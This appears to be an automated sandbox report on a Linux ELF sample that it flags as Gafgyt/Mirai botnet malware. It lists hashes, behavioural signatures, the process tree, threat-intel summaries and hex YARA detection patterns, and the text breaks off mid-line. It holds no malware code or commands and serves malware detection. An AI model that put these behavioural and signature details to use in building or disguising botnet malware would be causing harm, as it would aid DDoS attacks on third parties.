Create Interactive Tour

Linux Analysis Report
JXOsTWvZ5f.elf

Overview

General Information

Sample Name:	JXOsTWvZ5f.elf
Original Sample Name:	2d42ac2a5720c0d1bcbf316c247daf51.elf
Analysis ID:	888614
MD5:	2d42ac2a5720c0d1bcbf316c247daf51
SHA1:	5a2b6ff7a1b00af133c19330f00ad1faa8ba24ad
SHA256:	8f71178aa5933b4237c6d1234ceac7e466d21d2d90a63b7d36a68df8079b2d6f
Tags:	32elfgafgytpowerpc
Infos:

Detection

Gafgyt, Mirai

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Malicious sample detected (through community Yara rule)

Sample tries to kill multiple processes (SIGKILL)

Found strings indicative of a multi-platform dropper

Sample reads /proc/mounts (often used for finding a writable filesystem)

Yara signature match

Sample contains strings that are user agent strings indicative of HTTP manipulation

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample tries to kill a process (SIGKILL)

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Non-zero exit code suggests an error during the execution. Lookup the error code for hints.

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	888614
Start date and time:	2023-06-15 22:17:38 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	JXOsTWvZ5f.elf
Original Sample Name:	2d42ac2a5720c0d1bcbf316c247daf51.elf
Detection:	MAL
Classification:	mal92.spre.troj.linELF@0/126@0/0

Runtime Messages

Command:	/tmp/JXOsTWvZ5f.elf
PID:	6229
Exit Code:	90
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

JXOsTWvZ5f.elf (PID: 6229, Parent: 6125, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/JXOsTWvZ5f.elf

JXOsTWvZ5f.elf New Fork (PID: 6231, Parent: 6229)

JXOsTWvZ5f.elf New Fork (PID: 6232, Parent: 6229)

JXOsTWvZ5f.elf New Fork (PID: 6234, Parent: 6229)

JXOsTWvZ5f.elf New Fork (PID: 6337, Parent: 6234)

JXOsTWvZ5f.elf New Fork (PID: 6447, Parent: 6234)

JXOsTWvZ5f.elf New Fork (PID: 7124, Parent: 6234)

JXOsTWvZ5f.elf New Fork (PID: 7153, Parent: 6234)

JXOsTWvZ5f.elf New Fork (PID: 7185, Parent: 6234)

gnome-session-binary New Fork (PID: 6260, Parent: 1477)

sh (PID: 6260, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-sharing

gsd-sharing (PID: 6260, Parent: 1477, MD5: e29d9025d98590fbb69f89fdbd4438b3) Arguments: /usr/libexec/gsd-sharing

systemd New Fork (PID: 6261, Parent: 1)

upowerd (PID: 6261, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

gnome-session-binary New Fork (PID: 6266, Parent: 1477)

sh (PID: 6266, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-wacom

gsd-wacom (PID: 6266, Parent: 1477, MD5: 13778dd1a23a4e94ddc17ac9caa4fcc1) Arguments: /usr/libexec/gsd-wacom

gnome-session-binary New Fork (PID: 6304, Parent: 1477)

sh (PID: 6304, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-color

gsd-color (PID: 6304, Parent: 1477, MD5: ac2861ad93ce047283e8e87cefef9a19) Arguments: /usr/libexec/gsd-color

gnome-session-binary New Fork (PID: 6305, Parent: 1477)

sh (PID: 6305, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-keyboard

gsd-keyboard (PID: 6305, Parent: 1477, MD5: 8e288fd17c80bb0a1148b964b2ac2279) Arguments: /usr/libexec/gsd-keyboard

gnome-session-binary New Fork (PID: 6310, Parent: 1477)

sh (PID: 6310, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-print-notifications

gsd-print-notifications (PID: 6310, Parent: 1477, MD5: 71539698aa691718cee775d6b9450ae2) Arguments: /usr/libexec/gsd-print-notifications

gnome-session-binary New Fork (PID: 6311, Parent: 1477)

sh (PID: 6311, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill

gsd-rfkill (PID: 6311, Parent: 1477, MD5: 88a16a3c0aba1759358c06215ecfb5cc) Arguments: /usr/libexec/gsd-rfkill

gvfsd-fuse New Fork (PID: 6312, Parent: 2038)

fusermount (PID: 6312, Parent: 2038, MD5: 576a1b135c82bdcbc97a91acea900566) Arguments: fusermount -u -q -z -- /run/user/1000/gvfs

gnome-session-binary New Fork (PID: 6313, Parent: 1477)

sh (PID: 6313, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-smartcard

gsd-smartcard (PID: 6313, Parent: 1477, MD5: ea1fbd7f62e4cd0331eae2ef754ee605) Arguments: /usr/libexec/gsd-smartcard

gnome-session-binary New Fork (PID: 6314, Parent: 1477)

sh (PID: 6314, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-datetime

gsd-datetime (PID: 6314, Parent: 1477, MD5: d80d39745740de37d6634d36e344d4bc) Arguments: /usr/libexec/gsd-datetime

xfce4-panel New Fork (PID: 6315, Parent: 2063)

wrapper-2.0 (PID: 6315, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

gnome-session-binary New Fork (PID: 6316, Parent: 1477)

sh (PID: 6316, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-media-keys

gsd-media-keys (PID: 6316, Parent: 1477, MD5: a425448c135afb4b8bfd79cc0b6b74da) Arguments: /usr/libexec/gsd-media-keys

xfce4-panel New Fork (PID: 6317, Parent: 2063)

wrapper-2.0 (PID: 6317, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

gnome-session-binary New Fork (PID: 6319, Parent: 1477)

sh (PID: 6319, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-screensaver-proxy

gsd-screensaver-proxy (PID: 6319, Parent: 1477, MD5: 77e309450c87dceee43f1a9e50cc0d02) Arguments: /usr/libexec/gsd-screensaver-proxy

xfce4-panel New Fork (PID: 6321, Parent: 2063)

wrapper-2.0 (PID: 6321, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

gnome-session-binary New Fork (PID: 6338, Parent: 1477)

sh (PID: 6338, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-a11y-settings

gsd-a11y-settings (PID: 6338, Parent: 1477, MD5: 18e243d2cf30ecee7ea89d1462725c5c) Arguments: /usr/libexec/gsd-a11y-settings

xfce4-panel New Fork (PID: 6340, Parent: 2063)

wrapper-2.0 (PID: 6340, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

gnome-session-binary New Fork (PID: 6343, Parent: 1477)

sh (PID: 6343, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-sound

gsd-sound (PID: 6343, Parent: 1477, MD5: 4c7d3fb993463337b4a0eb5c80c760ee) Arguments: /usr/libexec/gsd-sound

xfce4-panel New Fork (PID: 6345, Parent: 2063)

wrapper-2.0 (PID: 6345, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 6346, Parent: 2063)

wrapper-2.0 (PID: 6346, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

gnome-session-binary New Fork (PID: 6347, Parent: 1477)

sh (PID: 6347, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

gsd-housekeeping (PID: 6347, Parent: 1477, MD5: b55f3394a84976ddb92a2915e5d76914) Arguments: /usr/libexec/gsd-housekeeping

gnome-session-binary New Fork (PID: 6352, Parent: 1477)

sh (PID: 6352, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-power

gsd-power (PID: 6352, Parent: 1477, MD5: 28b8e1b43c3e7f1db6741ea1ecd978b7) Arguments: /usr/libexec/gsd-power

systemd New Fork (PID: 6361, Parent: 1)

upowerd (PID: 6361, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6405, Parent: 1)

upowerd (PID: 6405, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6453, Parent: 1)

upowerd (PID: 6453, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6520, Parent: 1)

upowerd (PID: 6520, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6581, Parent: 1)

upowerd (PID: 6581, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6643, Parent: 1)

upowerd (PID: 6643, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6709, Parent: 1)

upowerd (PID: 6709, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6749, Parent: 1)

upowerd (PID: 6749, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6789, Parent: 1)

upowerd (PID: 6789, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6850, Parent: 1)

upowerd (PID: 6850, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6910, Parent: 1)

upowerd (PID: 6910, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6950, Parent: 1)

upowerd (PID: 6950, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6993, Parent: 1)

upowerd (PID: 6993, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 7033, Parent: 1)

upowerd (PID: 7033, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 7077, Parent: 1)

upowerd (PID: 7077, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
JXOsTWvZ5f.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
JXOsTWvZ5f.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
JXOsTWvZ5f.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x10418:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1042c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1047c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1051c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1056c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
JXOsTWvZ5f.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10a74:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64

Memory Dumps

Source	Rule	Description	Author	Strings
6229.1.00007f407c001000.00007f407c017000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6229.1.00007f407c001000.00007f407c017000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6229.1.00007f407c001000.00007f407c017000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x10418:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1042c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1047c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1051c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1056c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6229.1.00007f407c001000.00007f407c017000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10a74:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
6232.1.00007f407c001000.00007f407c017000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6232.1.00007f407c001000.00007f407c017000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6232.1.00007f407c001000.00007f407c017000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x10418:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1042c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1047c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1051c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1056c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6232.1.00007f407c001000.00007f407c017000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10a74:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: JXOsTWvZ5f.elf PID: 6229	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xa6bb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa6cf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa6e3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa6f7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa70b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa71f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa733:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa747:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa75b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa76f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa783:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa797:$a: 